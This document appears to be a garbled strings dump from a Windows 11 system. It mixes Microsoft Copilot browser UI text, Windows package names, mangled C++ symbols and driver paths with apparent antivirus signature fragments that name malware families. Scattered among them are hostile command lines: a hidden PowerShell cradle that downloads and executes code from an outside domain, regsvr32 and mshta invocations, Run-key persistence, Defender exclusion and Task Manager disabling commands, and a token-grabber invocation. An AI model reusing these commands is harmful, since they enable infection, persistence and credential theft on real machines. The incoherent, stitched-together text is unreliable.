This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
Windows
..\..\..\..\..\..\windows
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Volume3\Windows\System32\wbem
[clientName:MicrosoftWindowsDefenderClient][clientId:A5A962D7-2A13-4A83-9BDC-E17FA86AB903]
[clientName:MicrosoftWindowsDefenderClient][clientId:A5A962D7-2A13-4A83-9BDC-E17FA86AB903]
WindowsVersion
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.8
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.9
powershell.exe-windowstylehidden
golang.org/x/sys/windows.procshutdowng
%a:\Windows\System32\drivers\%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%.sys
%a:\Windows\%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%.exe
Windows
!#Lua:System32ZeroedPETimestamp
\windows\system32\drivers$
\appdata\local\microsoft\windows\temporary internet files
\appdata\local\microsoft\windows\inetcache
:\windows\system32\wbem\wmic.exeosget
GetSystemWindowsDirectoryW
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%\system32\mshta.exe
      "$comment": "Windows feature is disabled in regions due to language support",
      "$comment": "Restrict Windows Search Box Client Data Exposure to Bing Server in Non-DMA Regions Only",
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
%IEProfile_InternetSettings%\SO\MISC\DRAGDROP_XDOM_ACROSSWINDOWS!Bitmap
2cb^com.microsoft.windows.widget
2cc^com.microsoft.windows.widget
.Windows Defender Firewall with Advanced Security.lnk
*Windows PowerShell ISE.lnk|
*Windows PowerShell ISE (x86).lnk{
'Windows Media Player Legacy.lnkv
!Windows\CurrentVersion\Run
Microsoft-Windows-Browser-Brokers-Package~31bf3856ad364e35~amd64~~11.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
\windows mail\wab.exe\windows mail\wabmig.exeTrojanDownloader:O97M/Qakbot.PKAR!MTB
d<t>\windows\</t>
 Windows g
windows u$
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\System32\drivers\en-US\ACPI.sys.mui[ACPIMOFResource]
C:\WINDOWS\System32\drivers\en-US\ACPI.sys.mui[ACPIMOFResource]
C:\WINDOWS\System32\drivers\en-US\ACPI.sys.mui[ACPIMOFResource]
C:\WINDOWS\System32\drivers\en-US\ACPI.sys.mui[ACPIMOFResource]
C:\WINDOWS\System32\drivers\en-US\ACPI.sys.mui[ACPIMOFResource]
C:\WINDOWS\System32\drivers\en-US\ACPI.sys.mui[ACPIMOFResource]
C:\WINDOWS\System32\drivers\en-US\ACPI.sys.mui[ACPIMOFResource]
C:\WINDOWS\System32\drivers\en-US\ACPI.sys.mui[ACPIMOFResource]
b6^windows.appExecu
UninstallWindowsRE
Windows Presentation Foundation
xTagMp3Saito_WindowsFormsApplication.Properties.Resources.resources$fbf91683-fadb-4e93-addf-47458b47b790g
0K<si><t>-</t></si><si><t>g</t></si><si><t>!</t></si><si><t>/</t></si><si><t>regsvr32.exe</t></si><si><t>\windows\</t></si><si><t>syswow64\</t></si><si><txml:space="preserve">&lt;0,</t></si><si><txml:space="preserve">..\
|JoData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Feature Engagement Tracker\EventDB__tmp_for_rebuild
C:\WINDOWS\System32\Drivers\portcls.SYS[PortclsMof]
%BrowserAppProfile%\EUPP Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy!FirstRunComplete
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\Domain
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\Domain
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
-match'system32'-or$
V.run"cmd/cnetview"&netcom(i)&">c:\windows\"&netcom(i)&".log",0,true
windowshide:true
\windowsdefenderadvancedthreatprotection
%hkey_local_machine\software\microsoft\windows\currentversion\run\
gc:\windows\
Microsoft-Windows-Platformrecords-PlutonFirmware-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
fd^com.microsoft.windows.extensionpackage
ff^com.microsoft.windows.extensionpackage
101^com.microsoft.windows.extensionpackage
echo---disable"cleartpm"buttonin"windowssecurity"
58^com.microsoft.windows.ey
WindowsDefender_Pay
antianalysisaddtowindowsdefenderexclusionsrmloader.loginclasswindows.resourcesh
powershell-windowstylehidden-executionpolicybypass-noprofile-command"iex((new-objectnet.webclient).downloadstring('https://bkngpropadm.com/bomla'))"
,="c:\windows\tasks\powershdll.dll"setwinhttpreq=createobject("microsoft.xmlhttp")winhttpreq.open"get"
Windows.Services.Store.StorePrice
Windows.Services.Store.StoreProduct
Windows.Services.Store.StoreProductOptions
Windows.Services.Store.StoreProductPagedQueryResult
Windows.Services.Store.StoreProductQueryResult
Windows.Services.Store.StorePurchaseProperties
Windows.Services.Store.StorePurchaseResult
Windows.Services.Store.StoreRequestHelper
Windows.Services.Store.StoreSku
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
 .ouwj7nmz07zmtv85jjpuc53zvoe+/znqa+60eucegeaow=="width="16"height="16">buttonandrun"windowspowershell"(
s\system32
.enumwindows(
.enumthreadwindows(
.enumdesktopwindows(
.enumwindowstationsa(
n.enumwindowstationsw(
\Microsoft\Windows\Properties\data.zip
\Microsoft\Windows\Properties\updclient.exe
.software\policies\microsoft\windowsdefenderdisableantispywarefailed-----------------------------installerstarted--------
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-DisplayDiag-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Embedded-KeyboardFilter-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalEducation-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
c:\programdata\Cymulate\Agent\AttacksLogsYoavShaharabani\source\repos\windows-scenarios\Payloads\CymulateStagelessMeterpreter\x64\Release\CymulateStagelessMeterpreter.pdb!#HSTR:Trojan:MSIL/AgentTesla.KXXM123!MTB
C:\WINDOWS\system32\backgroundTaskHost.exe
 Windows
 Windows
pc:\windows\system32\cmoswar.cad
\windows
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
windows11
Windows
.?AU?$producer@USettingsExpander@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@USettingsExpander@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@USettingsExpander@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@USettingsExpander@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@USettingsExpander@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@USettingsExpander@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@USettingsExpander@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@USettingsExpander@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@USettingsExpander@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@USettingsExpander@implementation@TaskManagerApp@winrt@@UIContentControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@USettingsExpander@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@USettingsExpander@implementation@TaskManagerApp@winrt@@UIContentControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@USettingsExpander@implementation@TaskManagerApp@winrt@@V?$tuple@USettingsExpander@TaskManagerApp@winrt@@UIContentControlOverrides@Controls@Xaml@UI@Windows@3@UIControlOverrides@56783@UIControlOverrides6@56783@UIFrameworkElementOverrides@6783@UIFrameworkElementOverrides2@6783@UIUIElementOverrides@6783@UIUIElementOverrides7@6783@UIUIElementOverrides8@6783@UIUIElementOverrides9@6783@@std@@@impl@winrt@@
.?AV?$IDataTemplateSelectorOverrides2T@USettingEntryTemplateSelector@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IDataTemplateSelectorOverridesT@USettingEntryTemplateSelector@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AU?$require@USettingEntryTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelector@Controls@Xaml@UI@Windows@4@UIDataTemplateSelector2@67894@UIElementFactory@7894@@impl@winrt@@
.?AU?$require_one@USettingEntryTemplateSelector@implementation@TaskManagerApp@winrt@@UIElementFactory@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base@USettingEntryTemplateSelector@implementation@TaskManagerApp@winrt@@UDataTemplateSelector@Controls@Xaml@UI@Windows@4@@impl@winrt@@
USERPROFILE=C:\WINDOWS\system32\config
WINDOWS\system32\config
=c:\windows\c
.?AU?$implements_delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_1>@?4??Connect@?$DetailsPageT@UDetailsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_1>@?4??Connect@?$DetailsPageT@UDetailsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_6>@?8??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_6>@?8??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_7>@?9??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_7>@?9??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_5>@?7??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_5>@?7??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_6>@?8??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_5>@?7??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_4>@?6??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_3>@?5??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_4>@?6??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_4>@?6??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@U?$EventHandler@UIInspectable@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_2>@?4??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_2>@?4??Connect@?$UsersPageT@UUsersPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
WindowsLockdownMod
CfCreatePlaceholdersClmpClpcMicrosoft.Windows.FileSystem.CloudFilesMicrosoft.Windows.TlgAggregateInternalcldapi.pdbTrojan:Win64/Lazarus.MCP!MTB
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
%BrowserAppProfile%\EUPP Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\DHP!BackupHomePage
Microsoft.WindowsCamera_8wekyb3d8bbwe!App1
microsoft.windows.camera.picker
Microsoft.Windows.Photos_8wekyb3d8bbweH
<si><t>-</t></si><si><t>g</t></si><si><t>!</t></si><si><t>/</t></si><si><t>regsvr32.exe</t></si><si><t>syswow64\</t></si><si><t>\windows\</t></si><si><t>"http://
WS\system32\co(@
9MWGGC7JH35BSurpriseAttackPtyLtd.GenesisNoirforWindows_8k24hnfn3vvj0Fellow Traveller
n de Windows
ath()m_psfile=m_tempdir&generateuniquename()&".ps1"m_pscmd=buildpowershellcommand(m_psfile)generatescriptpath=trueendfunctionprivatefunctionbuildpowershellcommand(scriptpath)buildpowershellcommand="powershell.exe-executionpolicybypass"&_"-noprofile-windowstylehidden-file"""&_scriptp
	<si><t>-</t></si><si><t>g</t></si><si><t>!</t></si><si><t>/</t></si><si><txml:space="preserve">&lt;0,</t></si><si><t>",0,0)</t></si><si><t>,0,</t></si><si><t>h</t></si><si><t>t</t></si><si><t>p</t></si><si><t>regsvr32.exe</t></si><si><t>syswow64\</t></si><si><t>\windows\</t></si>
add the file or the directory to hidesoftware\microsoft\windows\currentversion\run
shitbitsoftware\microsoft\windows\currentversion
taskkill/f/imwinamp.exetaskkill/f/imexplorer.exeregaddhkcu\software\microsoft\windows\currentversion\policies\system/vdisabletaskmgr/treg_dword/d1/ftime
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
USERDOMAIN=Windows11
SystemRoot=C:\WINDOWS
windir=C:\WINDOWS
COMPUTERNAME=WINDOWS11
windir=C:\WINDOWS
USERDOMAIN=Windows11
SystemRoot=C:\WINDOWS
LOGONSERVER=\\WINDOWS11
COMPUTERNAME=WINDOWS11
LOGONSERVER=\\WINDOWS11
WINDOWS\s?
\WindowsPowerShell\.
s;C:\WINDOWS\system32.
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe-epbypass-nop-c"iwr'http
dwindowstate0/commandline
windowsdefender
Windows.Management.Workplace.dll
EnumWindows
?fromNativeTouchPoints@QWindowSystemInterfacePrivate@@SA?AV?$QList@VTouchPoint@QTouchEvent@@@@AEBV?$QList@UTouchPoint@QWindowSystemInterface@@@@PEBVQWindow@@EPEAW4Type@QEvent@@@Z
WINDOWS.INTERNAL.SECURITY.WEBAUTHENTICATION.AUTHENTICATIONMANAGER
Microsoft.Windows.Security.MitigationPolicy
MICROSOFT.WINDOWSSTORE_22512.1401.6.0_X64__8WEKYB3D8BBWE
MICROSOFTWINDOWS.CLIENT.CBS_1000.26100.291.0_X64__CW5N1H2TXYEWY
Microsoft.Windows.Security.IsolationApi
Microsoft-Windows-Shell-TwinSxS
Microsoft.Windows.Security.SysTray
MICROSOFTWINDOWS.CLIENT.CBS_CW5N1H2TXYEWY!WEBEXPERIENCEHOST
Microsoft.Windows.TextInput.FlipProcessor
Microsoft.Windows.Security.KeyGuard
isWindowsAuth
NoPingH00000003-0000-0000-c000-000000000046.<>c__DisplayClass17_0`2&windows10.0.10240.0
TProgress>WindowsRuntimeStorageExtensions
f4StreamOperationAsyncResult*StreamReadAsyncResult,StreamWriteAsyncResult,StreamFlushAsyncResult<WindowsRuntimeStreamExtensions
/Powershell-Token-Grabber/-ExecutionPolicy Unrestricted -Forcebypass -WindowStyle hidden -file
Model@WindowsUdk
=Lua:PeCompanyName!windows
Lua:PeProductName!windows
Lua:PeCompanyName!windows__office
Lua:PeProductName!windows__office
[MSAL:0004]	DEBUG  	IsAuthorizationTypeSupported:131	WindowsIntegratedAuth with consumer realm and enabled MSA flight and non-NAA. Returning true.
[MSAL:0004]	DEBUG  	IsAuthorizationTypeSupported:131	WindowsIntegratedAuth with consumer realm and enabled MSA flight and non-NAA. Returning true.
+::windowsfirewalladdapp()hjbotid:
\Winlogons.exe
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
system32\backgroundTaskHost.exe" -ServerName:Global.RulesEngine.AppXgphnekvm0vv49drvfehh4b6kyf6ckafp.mca
system32\backgroundTaskHost.exe" -ServerName:Global.RulesEngine.AppXgphnekvm0vv49drvfehh4b6kyf6ckafp.mca
system32\backgroundTaskHost.exe" -ServerName:Global.RulesEngine.AppXgphnekvm0vv49drvfehh4b6kyf6ckafp.mca
system32\backgroundTaskHost.exe" -ServerName:Global.RulesEngine.AppXgphnekvm0vv49drvfehh4b6kyf6ckafp.mca
system32\backgroundTaskHost.exe" -ServerName:Global.RulesEngine.AppXgphnekvm0vv49drvfehh4b6kyf6ckafp.mca
WindowsAclHelper::SetDenyWriteAccessImpl
WindowsAclHelper::RemoveDenyDeleteChildrenImpl
WindowsAclHelper::AllocateToken
WindowsAclHelper::RemoveDenyWriteAccessImpl
WindowsAclHelper::SetDenyDeleteChildrenImpl
WindowsAclHelper::CheckReadWriteAccessImpl
Szsystem32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
system32\backgroundTaskHost.exe" -ServerName:OobeHost.AppXdcwkjpb46w3zw4hbmx5jfxajhymjka0d.mca
system32\backgroundTaskHost.exe" -ServerName:OobeHost.AppXdcwkjpb46w3zw4hbmx5jfxajhymjka0d.mca
system32\backgroundTaskHost.exe" -ServerName:OobeHost.AppXdcwkjpb46w3zw4hbmx5jfxajhymjka0d.mca
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsCreateString
 .create("c:\\\\windows
\system32\cmd
System.Windows.Forms
get_ToolWindowStripGapLeft
get_ToolWindowStripGapRight
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows UpdateK
with Windows UpdateT
problems with Windows UpdateX
fix problems with Windows Update\
and fix problems with Windows Update
troubleshoot windows update|fix windows update|windows update problems|windows update issues|windows update broken|windows update not working|troubleshooters|=
47.96.86.81wmic process  get Name,ExecutablePath,ProcessId,ParentProcessId /valueC:\Windows\System32\taskkill.exe /T /F /PIDc:\windows\process.txt98 49 121 105 51 97 112 112 112 56 51 99 106 120 119 106 119 120 54 104 57 52 97 106 49 106 49 115 117 117 103 121 107 122 104 56 122 99 101 56 105 50 109 52 107 56 100 50 54 57 98 50 121 100 54 100 56 48 48 56 122 105 121 50Trojan:HTML/Redirector.PAAX!MTB
c:/windows/system32/drivers/mbbcx.sys
c:/windows/system32/drivers/megasas2i.sys
c:/windows/system32/drivers/megasas35i.sys
c:/windows/system32/drivers/megasr.sys
c:/windows/system32/drivers/microsoft.bluetooth.avrcptransport.sys
c:/windows/system32/drivers/mlx4_bus.sys
c:/windows/system32/drivers/mmcss.sys
c:/windows/system32/drivers/modem.sys
c:/windows/system32/drivers/monitor.sys
c:/windows/system32/drivers/mouclass.sys
c:/windows/system32/drivers/mouhid.sys
c:/windows/system32/drivers/mountmgr.sys
c:/windows/system32/drivers/mpi3drvi.sys
c:/windows/system32/drivers/mpsdrv.sys
c:/windows/system32/drivers/mrxdav.sys
c:/windows/system32/drivers/mrxsmb.sys
c:/windows/system32/drivers/mrxsmb20.sys
c:/windows/system32/drivers/bridge.sys
c:/windows/system32/drivers/msgpiowin32.sys
c:/windows/system32/drivers/mshidkmdf.sys
c:/windows/system32/drivers/mshidumdf.sys
c:/windows/system32/drivers/msisadrv.sys
c:/windows/system32/drivers/mskssrv.sys
c:/windows/system32/drivers/mslldp.sys
c:/windows/system32/drivers/mspclock.sys
c:/windows/system32/drivers/mspqm.sys
c:/windows/system32/drivers/msquic.sys
c:/windows/system32/drivers/msquicprev.sys
c:/windows/system32/drivers/msseccore.sys
c:/windows/system32/drivers/mssecflt.sys
c:/windows/system32/drivers/mssecwfp.sys
c:/windows/system32/drivers/mssmbios.sys
c:/windows/system32/drivers/mstee.sys
c:/windows/system32/drivers/mtconfig.sys
c:/windows/system32/drivers/mup.sys
c:/windows/system32/drivers/mvumis.sys
c:/windows/system32/drivers/nwifi.sys
c:/windows/system32/drivers/ndfltr.sys
c:/windows/system32/drivers/ndis.sys
c:/windows/system32/drivers/ndiscap.sys
